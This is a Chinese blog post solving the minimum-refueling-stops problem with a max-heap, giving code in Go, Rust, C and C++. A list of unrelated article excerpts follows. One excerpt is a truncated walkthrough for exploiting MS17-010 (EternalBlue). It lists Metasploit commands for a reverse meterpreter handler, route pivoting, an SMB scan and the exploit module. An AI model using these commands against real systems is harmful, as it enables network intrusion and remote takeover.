2023-05-19:汽车从起点出发驶向目的地,该目的地位于出发位置东面 target 英里处。 沿途有加油站,每个 station[i] 代表一个加油站, 它位于出发位置东面 station[i][

2023-05-19:汽车从起点出发驶向目的地,该目的地位于出发位置东面 target 英里处。

沿途有加油站,每个 station[i] 代表一个加油站,

它位于出发位置东面 station[i][0] 英里处,并且有 station[i][1] 升汽油。

假设汽车油箱的容量是无限的,其中最初有 startFuel 升燃料。

它每行驶 1 英里就会用掉 1 升汽油。

当汽车到达加油站时,它可能停下来加油,将所有汽油从加油站转移到汽车中。

为了到达目的地,汽车所必要的最低加油次数是多少?如果无法到达目的地,则返回 -1 。

注意:如果汽车到达加油站时剩余燃料为 0,它仍然可以在那里加油。

如果汽车到达目的地时剩余燃料为 0,仍然认为它已经到达目的地。

输入:target = 100, startFuel = 10, stations = [[10,60],[20,30],[30,30],[60,40]]。

输出:2。

答案2023-05-19:

具体步骤如下:

1.初始化车内油量 to 和已经加得次数 cnt。

2.遍历所有加油站,对于每个加油站,判断能否到达。如果不能到达,就从大根堆中不断取出油量添加到车内,直至可以到达该加油站或无法再添加油量为止。如果无法到达该加油站,则无法到达目标位置,返回-1。

3.如果能够到达该加油站,则将该加油站的油量添加到大根堆中,并继续向前移动。

4.如果无法到达目标位置,则不断从大根堆中取出油量,直至能够到达目标位置或者大根堆为空为止。

5.返回已经加油的次数。

时间复杂度:O(nlogn),其中n为加油站的数量。主要是因为该算法使用了堆来维护加油站的油量,每次需要考虑哪个加油站的油量最多,以便优先选择加油量最大的加油站。

空间复杂度:O(n),其中n为加油站的数量。主要是因为该算法使用了堆存储加油站的油量,所以需要额外的空间存储堆中的元素。

go完整代码如下:

package main

import (
	"container/heap"
)

func minRefuelStops(target int, startFuel int, stations [][]int) int {
	if startFuel >= target {
		return 0
	}

	// 大根堆
	// 维持的是:最值得加油的加油站,有多少油
	// 最值得:加得次数少,跑的还最远
	h := &IntHeap{}
	heap.Init(h)

	// 当前车里的油,能达到的位置
	to := startFuel
	cnt := 0

	for _, station := range stations {
		position := station[0]
		fuel := station[1]

		if to < position {
			for !h.IsEmpty() && to < position {
				to += heap.Pop(h).(int)
				cnt++
				if to >= target {
					return cnt
				}
			}
			if to < position {
				return -1
			}
		}
		heap.Push(h, fuel)
	}

	// 最后一个加油站的位置,都达到了
	// 但还没有到target
	for !h.IsEmpty() {
		to += heap.Pop(h).(int)
		cnt++
		if to >= target {
			return cnt
		}
	}

	return -1
}

func main() {
	target := 100
	startFuel := 10
	stations := [][]int{{10, 60}, {20, 30}, {30, 30}, {60, 40}}
	result := minRefuelStops(target, startFuel, stations)
	println(result)
}

// IntHeap实现大根堆
type IntHeap []int

func (h IntHeap) Len() int {
	return len(h)
}

func (h IntHeap) Less(i, j int) bool {
	return h[i] > h[j]
}

func (h IntHeap) Swap(i, j int) {
	h[i], h[j] = h[j], h[i]
}

func (h *IntHeap) Push(x interface{}) {
	*h = append(*h, x.(int))
}

func (h *IntHeap) Pop() interface{} {
	n := len(*h)
	x := (*h)[n-1]
	*h = (*h)[:n-1]
	return x
}

func (h *IntHeap) IsEmpty() bool {
	return h.Len() == 0
}

在这里插入图片描述

rust完整代码如下:

use std::collections::BinaryHeap;

fn min_refuel_stops(target: i32, start_fuel: i32, stations: Vec<Vec<i32>>) -> i32 {
    if start_fuel >= target {
        return 0;
    }

    // 大根堆
    // 维持的是:最值得加油的加油站,有多少油
    // 最值得:加得次数少,跑的还最远
    let mut heap = BinaryHeap::new();

    // 当前车里的油,能达到的位置
    let mut to = start_fuel as i64;
    let mut cnt = 0;

    for station in stations.iter() {
        let position = station[0] as i64;
        let fuel = station[1] as i64;

        if to < position {
            while !heap.is_empty() && to < position {
                to += heap.pop().unwrap();
                cnt += 1;
                if to >= target as i64 {
                    return cnt;
                }
            }
            if to < position {
                return -1;
            }
        }
        heap.push(fuel);
    }

    // 最后一个加油站的位置,都达到了
    // 但还没有到target
    while !heap.is_empty() {
        to += heap.pop().unwrap();
        cnt += 1;
        if to >= target as i64 {
            return cnt;
        }
    }

    -1
}

fn main() {
    let target = 100;
    let start_fuel = 10;
    let stations = vec![vec![10, 60], vec![20, 30], vec![30, 30], vec![60, 40]];
    let result = min_refuel_stops(target, start_fuel, stations);
    println!("{}", result);
}

在这里插入图片描述

c语言完整代码如下:

#include <stdio.h>
#include <stdlib.h>

// IntHeap实现大根堆,这里用函数指针代替仿函数
int cmp(int a, int b) {
    return a < b;
}

// 交换两个数的值
void swap(int* a, int* b) {
    int temp = *a;
    *a = *b;
    *b = temp;
}

typedef struct IntHeap {
    int (*cmp)(int, int);

    void (*swap)(int*, int*);

    int* data;
    int size;
    int capacity;
}IntHeap;

// 初始化大根堆
void initHeap(IntHeap* heap, int (*cmp)(int, int)) {
    heap->cmp = cmp;
    heap->swap = &swap;
    heap->data = (int*)malloc(sizeof(int) * 128);
    heap->size = 0;
    heap->capacity = 128;
}

// 扩容
void resize(IntHeap* heap) {
    int newCapacity = heap->capacity * 2;
    int* newData = (int*)realloc(heap->data, sizeof(int) * newCapacity);
    heap->data = newData;
    heap->capacity = newCapacity;
}

// 堆化
void down(IntHeap* heap, int i) {
    while (i * 2 + 1 < heap->size) {
        int left = i * 2 + 1;
        int right = i * 2 + 2;
        int j = left;
        if (right < heap->size && heap->cmp(heap->data[right], heap->data[left])) {
            j = right;
        }
        if (heap->cmp(heap->data[i], heap->data[j])) {
            break;
        }
        heap->swap(&heap->data[i], &heap->data[j]);
        i = j;
    }
}

// 入堆
void pushHeap(IntHeap* heap, int val) {
    if (heap->size == heap->capacity) {
        resize(heap);
    }
    heap->data[heap->size++] = val;

    int i = heap->size - 1;
    while (i > 0) {
        int p = (i - 1) / 2;
        if (heap->cmp(heap->data[p], heap->data[i])) {
            break;
        }
        heap->swap(&heap->data[p], &heap->data[i]);
        i = p;
    }
}

// 弹出堆顶元素
int popHeap(IntHeap* heap) {
    int top = heap->data[0];
    heap->data[0] = heap->data[--heap->size];
    down(heap, 0);
    return top;
}

int minRefuelStops(int target, int startFuel, int** stations, int stationsSize, int* stationsColSize) {
    if (startFuel >= target) {
        return 0;
    }

    // 大根堆
    // 维持的是:最值得加油的加油站,有多少油
    // 最值得:加得次数少,跑的还最远
    IntHeap heap;
    initHeap(&heap, &cmp);

    // 当前车里的油,能达到的位置
    long long to = startFuel;
    int cnt = 0;

    for (int i = 0; i < stationsSize; i++) {
        int position = stations[i][0];
        int fuel = stations[i][1];

        if (to < position) {
            while (heap.size && to < position) {
                to += popHeap(&heap);
                cnt++;
                if (to >= target) {
                    return cnt;
                }
            }
            if (to < position) {
                return -1;
            }
        }
        pushHeap(&heap, fuel);
    }

    // 最后一个加油站的位置,都达到了
    // 但还没有到 target
    while (heap.size) {
        to += popHeap(&heap);
        cnt++;
        if (to >= target) {
            return cnt;
        }
    }

    return -1;
}

int main() {
    int target = 100;
    int startFuel = 10;
    int** stations = (int**)malloc(sizeof(int*) * 4);
    int stationsColSize[4] = { 2, 2, 2, 2 };
    for (int i = 0; i < 4; i++) {
        stations[i] = (int*)malloc(sizeof(int) * 2);
    }
    stations[0][0] = 10;
    stations[0][1] = 60;
    stations[1][0] = 20;
    stations[1][1] = 30;
    stations[2][0] = 30;
    stations[2][1] = 30;
    stations[3][0] = 60;
    stations[3][1] = 40;
    int result = minRefuelStops(target, startFuel, stations, 4, stationsColSize);
    printf("%d\n", result);

    for (int i = 0; i < 4; i++) {
        free(stations[i]);
    }
    free(stations);

    return 0;
}


在这里插入图片描述

c++完整代码如下:

#include <iostream>
#include <vector>
#include <queue>
using namespace std;

// IntHeap实现大根堆
struct IntHeap {
    bool operator()(int a, int b) { return a < b; }
};

int minRefuelStops(int target, int startFuel, vector<vector<int>>& stations) {
    if (startFuel >= target) {
        return 0;
    }

    // 大根堆
    // 维持的是:最值得加油的加油站,有多少油
    // 最值得:加得次数少,跑的还最远
    priority_queue<int, vector<int>, IntHeap> heap;

    // 当前车里的油,能达到的位置
    long long to = startFuel;
    int cnt = 0;

    for (auto station : stations) {
        int position = station[0];
        int fuel = station[1];

        if (to < position) {
            while (!heap.empty() && to < position) {
                to += heap.top();
                heap.pop();
                cnt++;
                if (to >= target) {
                    return cnt;
                }
            }
            if (to < position) {
                return -1;
            }
        }
        heap.push(fuel);
    }

    // 最后一个加油站的位置,都达到了
    // 但还没有到target
    while (!heap.empty()) {
        to += heap.top();
        heap.pop();
        cnt++;
        if (to >= target) {
            return cnt;
        }
    }

    return -1;
}

int main() {
    int target = 100;
    int startFuel = 10;
    vector<vector<int>> stations = { {10, 60}, {20, 30}, {30, 30}, {60, 40} };
    int result = minRefuelStops(target, startFuel, stations);
    cout << result << endl;
    return 0;
}

在这里插入图片描述

公众号:福大大架构师每日一题
本文转载于网络 如有侵权请联系删除

相关文章

  • 什么是“系统空闲进程”,为什么使用那么多的CPU?「建议收藏」

    大家好,又见面了,我是你们的朋友全栈君。HaveyoueveropenedupTaskManagerandnoticedtheSystemIdleProcessisusing90%ormoreofyourCPU?Contrarytowhatyoumightthink,that’snotabadthing.Here’swhatthatprocessactuallydoes.您是否曾经打开过任务管理器,并注意到系统空闲进程正在使用90%或更多的CPU?与您可能认为的相反,这不是一件坏事。这就是该过程的实际作用。ThisarticleispartofourongoingseriesexplainingvariousprocessesfoundinTaskManager,likeRuntimeBroker,svchost.exe,dwm.exe,ctfmon.exe,rundll32.exe,Adobe_Updater.exe,andmanyothers.Don’tknowwhatthoseservicesare?Betterstartreading!本文是我们正在进行的系列文章的一部分,介绍

  • 微服务架构体系

    架构的演进这种东西有点信雅达,没什么绝对标准单体应用:在第一阶段的单体应用很好理解。垂直应用:接着随着业务量增大,将应用拆成互不相干的几个应用,Web框架(MVC)是关键。这一步,前后端分离、使用缓存、数据库和应用服务分离都会做,但服务间是独立的无法调用,且可能存在重复代码。分布式应用:垂直应用越来越多,应用之间交互不可避免,将核心业务抽取出来,作为独立的服务。这时用于提高业务复用及整合的分布式服务框架(RPC)是关键。集群、读写分离、反向代理、加速、分布式数据库、nosql、服务拆分都会处理、消息。实现了服务调用,代码复用其实这时已经能算一种“微服务”了,一般会使用SpringBoot弹性流动计算:服务越来越多,容量评估,资源的使用等问题逐渐显现,需要调度中心基于访问压力实时管理集群容量,提高集群利用率。此时,用于提高机器利用率的资源调度和治理中心(SOA面向服务架构)是关键。这时候要有一个注册中心,调用关系不需要自行维护了。Dubbo就是SOA的概念了,更关注RPC和服务治理。微服务:最后是通俗含义的微服务,使用SpringCloud编码,使用Docker、K8S等,解决微服务软运

  • [TcaplusDB知识库]TXHDB存储引擎的介绍

    存储引擎的介绍数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)通过数据引擎,对数据进行创建、查询、修改和删除的操作。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得数据库特定的功能。作为数据库的支撑底盘,一个成熟的存储引擎必须要考虑各个方面,包括数据读写的效率,包括如何成本最低风险最小地运作,而TcaplusDB在考虑了以上这些因素后,结合我们是一个键值型数据库的特点,我们选择了腾讯完全自研的TXHDB存储引擎来落地TcaplusDB的数据。下面介绍一下TXHDB存储引擎的格式和优势所在。存储引擎格式TcaplusDB的数据文件大致可以分为3个区,头部区、内存映射区和文件访问区,见下图。其中内存映射区和文件访问区是用于存放真实数据的。其中:头部区,用于存放元数据、统计数据、Hash桶、空闲块链表头,扩展数据等信息。内存映射区,这部分空间会在数据文件加载时,通过mmap的方式映射到内存地址空间中,使用读写内存的方式读写该区域,间接地达到缓存在内存中的效果。该区域位于数据文件的前部,默认大小为1G。文件访问区,紧接着内存映射区后面就是

  • 没想到,Git居然有3种“后悔药”!

    你知道Git版本控制系统中都有哪些“后悔药”吗? 本文通过案例讲解gitreset、gitrevert、gitcheckout在版本控制中的作用; 场景小明同学作为新人加入到一个新的项目组中做开发,在项目的迭代开发中,小明勤勤恳恳的写代码,直到有一次…小明:完了,完蛋了 洋仔:怎么了,一惊一乍的 小明:我把错误代码用gitcommit后还push到线上代码库了!这可怎么办! 洋仔:莫慌,git有“后悔药”! 洋仔:容我给你慢慢道来。但是我们要先知道一些git的基础知识,你才能更好的理解git命令的作用 预备知识git将项目的存储分为4部分,每部分有自己作用,见下图:Workspace:工作区(当前用户操作修改的区域)Index/Stage:暂存区(add后的区域)Repository:仓库区或本地仓库(commit后的区域)Remote:远程仓库(push后的区域)整体过程可以简述为:工作区–>add–>暂存区–>commit–>本地仓库区–>push–>远程仓库区远程仓库区–>fetch–>使用refs\remotes下对应分支文件记录

  • 做完这套面试题,你才敢说懂Excel

    下面的题目来自一份商品专员的面试题,其中有涉及到条件格式、自定义排序、数据验证制作下拉菜单、查找引用类函数、文本提取函数等等技能。满满的干货技能可不是商品专员“专属”,如果你能熟练掌握,在平日工作中,肯定也会事半功倍,下面一起来看看吧。问题1:将“销售员ID”列重复项标记出来对重复项进行标记,也就是说判断单元格的值是否有重复,有重复,即进行标记。因此在这里可以用到【条件格式】功能。选中“销售员ID”列,【条件格式】-【突出显示单元格规则】-【重复值】,在弹出的【重复值】设置窗口里,可对重复值的单元格格式进行设置。最终效果如下,重复出现的销售员ID,就会标识出来。条件格式除了可以对重复项进行格式设置,还可以对大于某范围的、小于某范围的、介于某范围等等的单元格进行设置,甚至还可以自定义条件规则。条件格式拓展学习:如何使复杂的数据一目了然?问题2:按“产品线”进行升序排列题目要求对“产品线”进行升序排列,首先选定“产品线”列,然后【排序和筛选】-【升序】,在弹出的“排序提醒”窗口里,选择【扩展选定区域】。【扩展选定区域】也就是对排序的区域进行扩展,使得整个表格都进行相应的排序,除了对“产品线

  • R模型构建学习2-解决质量差的钻石反而价格贵的问题

    上次的代码:library(ggplot2) data(diamonds) ggplot(diamonds,aes(cut,price))+geom_boxplot() ggplot(diamonds,aes(color,price))+geom_boxplot() ggplot(diamonds,aes(clarity,price))+geom_boxplot() ggplot(diamonds,aes(carat,price))+geom_hex(bins=50) library(tidyverse) library(modelr) library(magrittr) diamonds2<-diamonds%>% filter(carat<=2.5)%>% mutate(lprice=log2(price),lcarat=log2(carat)) ggplot(diamonds2,aes(lcarat,lprice))+ geom_hex(bins=50)复制最后得到了重量和价格的关系图:caretvsprice拟合线性模型:mod_diamon

  • Java 中的 FutureTask

    1.前言上一文简单介绍了Java中的Future接口,留了一个坑,今天就来补一补这个坑。Future的实现非常多,而java.util.concurrent.FutureTask是最经常被提及的一个。今天我们来了解一下这个实现。同时欢迎加入[微信圈子]程序员交流圈交流编程经验。2.FutureTask从上面可以看出FutureTask既有Runnable的特点又有Future的特点。可以看出设计者就是通过在线程周期中去进行异步计算并对异步计算进行状态控制和结果获取。而且我们上一文在对Future异步计算的不同状态在FutureTask中使用了状态机来进行状态描述:/**Possiblestatetransitions: *NEW->COMPLETING->NORMAL *NEW->COMPLETING->EXCEPTIONAL *NEW->CANCELLED *NEW->INTERRUPTING->INTERRUPTED */ privatevolatileintstate; privatestaticfinalintNEW=0; privat

  • 【数学基础】机器学习中的几个熵

    阅读大概需要7分钟 跟随小博主,每天进步一丢丢来自:天宏NLP信息量 事件发生的概率越小,信息量越大。假设是一个离散型随机变量,取值集合为,概率分布函数为则定义事件的信息量为:信息熵信息量的期望就是熵,假设事件有n种可能,发生的概率为,那么该事件的熵为:如果发生的事件只有两种可能性,那么熵的计算转化为下列式子:相对熵(KL散度/KLdivergence)相对熵又叫KL散度,也叫做信息增益,如果我们对于同一个随机变量,有两个单独的概率分布和,我们可以用KL散度来衡量这两个分布的差异。在机器学习中,P分布往往用来表示样本的真实分布,即标签label,Q用来表示模型所预测的分布,那么KL散度就可以计算两个分布的差异,也就是计算损失值Loss。可以看出,Q的分布越接近P(Q分布越拟合P),那么KL散度越小,即Loss越小,因为对数函数是凸函数,所以KL散度的值为非负数。下面给出KL散度非负的两种证明,对xi的求和变积分。方法一:上式用到了,代入就可以得到,方法二:上式用到了Jensen不等式,对于一个凸函数,满足,又由于为凸函数,所以可得。KL散度有时被称为KL距离,但它不满足距离的性质:K

  • 死亡研究:何谓「好死」,研究者们总结了11 个重要指标

    大多数人会花很多时间计划生日,婚礼和纪念日,但我们可曾想过要以何种方式死去?在一项新的研究中,研究者们提出了“好死”的关键指标。听起来可能不大吉利,但能无忌讳地谈论告别人世的方式是非常重要的——并且,研究者们认为这些讨论可能有益于让人拥有一个更好的人生结局,尤其对病人而言。研究者称,对好死的定义会因群体不同而各异。病患会认为信仰和精神性是重要的,而家属则认为尊严和生命的完整性比好死更关键。研究发现,人们对倾向的死亡过程,无痛苦状态和幸福的感觉是“好死”的最重要因素加州圣地亚哥大学医学院的迪力普·杰斯迪(DilipJeste)博士说:“死亡一直是个具有争议的话题,人们避讳这个话题。公开透明地谈论我们每个人更倾向的离去方式是非常必要的。”他和他的团队分析32个同行定义“好死”的研究报告。他们采集患者的观点,在葬礼前和过程中调查其家属以及医疗方的观点。他们界定了11个好死的核心要素,包括倾向的特定死亡过程、没有痛苦、人们希望的合适的宗教信仰仪式;还有其余的关键指标,比如是否带有幸福的感觉,尊严地死去,感到“完成”了人生任务。患者所接受的治疗,家人,生命质量,和医疗方的关系,还有其余选项都被列

  • vue-hash-calendar,移动端日期时间选择插件

    按照惯例,先上效果图 vue-hash-calendar 基于vue2.X开发的日历组件 支持手势滑动操作·1 原生js开发,没引入第三方库 上下滑动切换周/月模式 【周模式中】左右滑动可切换上一周/下一周 【月模式中】左右滑动可切换上一月/下一月 安装使用说明 npmivue-hash-calendar 复制 //在入口文件中(main.js),导入组件库 importvueHashCalendarfrom'vue-hash-calendar' //引入组件CSS样式 import'vue-hash-calendar/lib/vue-hash-calendar.css' //注册组件库 Vue.use(vueHashCalendar) 复制 //在VUE文件中引入组件 <vue-hash-calendar></vue-hash-calendar> 复制 CDN方式引入 //在index.html加入以下两个CDN链接: jsCDN:https://cdn.jsdelivr.net/npm/vue-hash-calendar@1.1.17/lib/

  • 域内提权

    CVE-2017-0146 CVE-2017-0146(MS17010) Windows78.110;WindowsServer200820122016; -插件检测-横向移动 -CS联动MSF-检测&利用 1、CS创建外联监听器 2、CS执行联动MSF msf-ip8888 spawnmsf 3、MSF监听联动配置 useexploit/multi/handler setpayloadwindows/meterpreter/reverse_http setlhost0.0.0.0 setlport8888 run 4、添加路由 runautoroute-p//查看当前路由表 runpost/multi/manage/autoroute//添加当前路由表 5、检测模块 useauxiliary/scanner/smb/smb_ms17_010 setrhosts192.168.3.21-32//设置扫描目标段 setthreads5//设置扫描线程数 run 6、利用模块 useexploit/windows/smb/ms17_010_eternalblue setpayloa

  • 最短路径(javascript实现)

    743.网络延迟时间 有N个网络节点,标记为1到N。 给定一个列表times,表示信号经过有向边的传递时间。times[i]=(u,v,w),其中u是源节点,v是目标节点,w是一个信号从源节点传递到目标节点的时间。 现在,我们从某个节点K发出一个信号。需要多久才能使所有节点都收到信号?如果不能使所有节点收到信号,返回-1。 输入:times=[[2,1,1],[2,3,1],[3,4,1]],N=4,K=2 输出:2 复制 深度优先搜索 以K为起点,深度优先遍历,传入距离值,若距离大于结点已知最小距离则停止深搜,否则更新当前结点 时间复杂度:O(N^N) 空间复杂度:O(N+E) varnetworkDelayTime=function(times,N,K){ /*存各条边的信息*/ constedges=newMap(); for(let[x,y,val]oftimes){ if(!edges.has(x)) edges.set(x,[[y,val]]); else edges.get(x).push([y,val]); } /*初始化标记*/ constvis=newArr

  • vue2.0学习教程

    十分钟上手-搭建vue开发环境(新手教程)https://www.jianshu.com/p/0c6678671635 如何在本地运行查看github上的开源项目https://www.jianshu.com/p/365d1a114e2a 手把手教你用vue-cli构建一个简单的路由应用https://www.jianshu.com/p/2003155cd717 如何运行vue项目(维护他人的项目)https://www.jianshu.com/p/672c9e59ac38 如何在手机上查看测试vue-cli构建的项目https://www.jianshu.com/p/a15be31cab12 2018年九个很受欢迎的vue前端UI框架https://www.jianshu.com/p/0683296cdcfc 详解如何在vue项目中引入饿了么elementUI组件https://www.jianshu.com/p/094eccb84267 本地运行github上的vue2.0仿饿了么webapp项目https://www.jianshu.com/p/3614dcbbde3a &nb

  • 图的邻接多重表和搜索(C++版本)

    最近在学数据结构,学到图这一章,网上的C++版本的代码乱得不行,所以自己写了一个完整C++版本的放这里。 用邻接多重表表示一个无向图,并给出DFS和BFS搜索代码。邻接多重表好处就是贼直观,几条边就几个边表的元素。 代码如下: 边表节点定义(其实就是边的定义) typedefstructEdgeNode//邻接多重表 { intiVertex; EdgeNode*iLink; intjVertex; EdgeNode*jLink; };复制  顶点表节点的定义 template<typenameType> structVextexNode//邻接多重表的顶点表 { TypeData; EdgeNode*TailLink; MarkFlag; };复制 最后是图的模板类 #ifndefMULADJACENCYLIST_H #defineMULADJACENCYLIST_H #include"SideNode.h" #include"VexNode.h" #include<iostream> #include<vector> #in

  • javascript 数组的组合

    javascript数组的组合一、前言二、数组的组合concat()方法push(...items)其他方法三、结束语 一、前言 今天在开发项目过程中,遇到了一个需求,先请求了30个数据,放在一个列表中,并渲染展示出来,然后又请求了另外的30个数据,放在一个列表中,想在前一个数据的后面继续展示,即将第二次请求的来的数据列表跟第一次请求的数据列表做一个合并,需要用到数据的合并,接下来给大家介绍一下javascript中数据合并的几个方法 二、数组的组合 concat()方法 作用:concat()方法用于连接两个及以上的数组,并且该方法不会改变原来的数组 语法:array1.concat(array2,array3,…,arrayX)/array1.concat(1,2,3) 用法一: letarray1=[100,200] constarray2=[5,6,7,8] constarray3=[10,11,12,13,14] //因为concat()方法不会改变原数组,所以这里会返回一个新的数组,定义给我们的newarray constnewarray1=array1.concat

  • git 拉取子模块 submodule

    //第一步,初始化 gitinit //第二步,拉取,后面推荐使用ssh地址 gitsubmoduleadd(+地址)------gitsubmoduleupdate--init--recursive  下拉子模块复制     -------------------- 报错: fatal:notagitrepository(oranyoftheparentdirectories):.git复制 原因:没有初始化 解决: gitinit复制  

  • java基础-异常

    一、异常的概念   异常指的是运行期出现的错误,也就是当程序开始执行以后执行期出现的错误。出现错误时观察错误的名字和行号最为重要。    1packagecn.javastudy.summary; 2 3publicclassTestEx{ 4 5publicstaticvoidmain(Stringargs[]){ 6intarr[]={1,2,3}; 7System.out.println(arr[2]); 8/** 9*这里使用try……catch来捕获除以0产生的异常,其基本格式是: 10*try{ 11statements;//可能产生异常的语句 12…… 13} 14catch(Throwable-subclasse){//异常参数e 15statements;//异常处理程序 16…… 17} 18*/ 19try{ 20System.out.println(arr[2]/0); 21}catch(ArithmeticExceptionae){//这里是这个异常参数的类型声明,即声明这个异常是属于哪种类型的异常 22System.out.println("系统正在维护中

  • 作业2数组求和

    【1】第一题:给定一个数组,实现数组元素求和;,具体要求:实现对一维数组(a[100])的所有元素相加运算。   第一条题目在大一的时候的就做很多遍,虽然这个数组的数据太多了点,但有了思路总是好事。不管是好方法还是坏方法能解决问题就是好方法。采用一个for循环,将数组里元素相加并存入sum中。 这是数组中100个元素相加的结果。因为对结果想进一步确认,所以在excel中进行了求和验证,结果一样。   【2】第二题:改写成一个函数(函数名称为ArraySum),能实现任意长度数组所有元素求和。   在第一题的基础上,多了一个arraysum的函数,只要先设定函数,然后在主函数中调用就可以了。   【3】第三题:将第二题改写成能从文件中读取数据,实现任意长度数组,指定范围内元素相加。   第三题又在第二题的基础上多了一个从文件中读取数据的功能,所以要用到c++中的文件流进行读取。但是文件流在大一的时候没有过多的涉及,所以到现在基本已经忘光了。所以只能再把c++的书再拿出来复习了一遍,才能试着做一做。 能够运行出来是对我来说是

  • JS实现剪切板添加网站版权、来源

     公司官网有这样需求,写好后,备份以后留用。 只兼容chrome、firefox、IE9+等主流浏览器。   //https://developer.mozilla.org/en-US/docs/Web/Events/copy //https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent/ClipboardEvent //https://developer.mozilla.org/en-US/docs/Web/API/Window/getSelection (function(window,document,undefined){ if(!window.getSelection)return; //获取选中的HTML vargetSelectedContents=function(){ if(window.getSelection){//chrome、firefox varrange=window.getSelection().getRangeAt(0); varcontainer=document.cr

  • ThinkPhp 更改 BIT 类型的问题

    在使用ThinkPhp更改字段为BIT类型的注意了,您将会遇到以下错误信息:  这是因为ThinkPhp在使用setField或Save方法时,将你的值更改成了字符串类型 而TINYINT 类型是不能保存字符串的,所以mysql会提示以上错误信息 通过Thinkphp打印的的sql如下: UPDATE`table`SET`last_version`='1'复制     解决办法:  使用execute、setInc、setInc等方法

  • Unity4.0配置

    关于Unity4.0的使用: 一 安装Unity  在程序包管理器控制台输入命令:Istall-Pckageunity.mvc安装后会在App_Start中生成UnityConfig.cs 和UnityMvcActivator.cs 两个文件,打开UnityConfig.cs这个文件,修改如下 打开UnityConfig.cs这个文件,修改如下 在Global.asax中增加UnityWebActivator.Start(); Web.comfig:在<configuration></configuration>中加入 <configSections> <sectionname="unity"type="Microsoft.Practices.Unity.Configuration.UnityConfigurationSection,Microsoft.Practices.Unity.Configuration"/> </configSections>复制 ViewCode 然后配置:

相关推荐

推荐阅读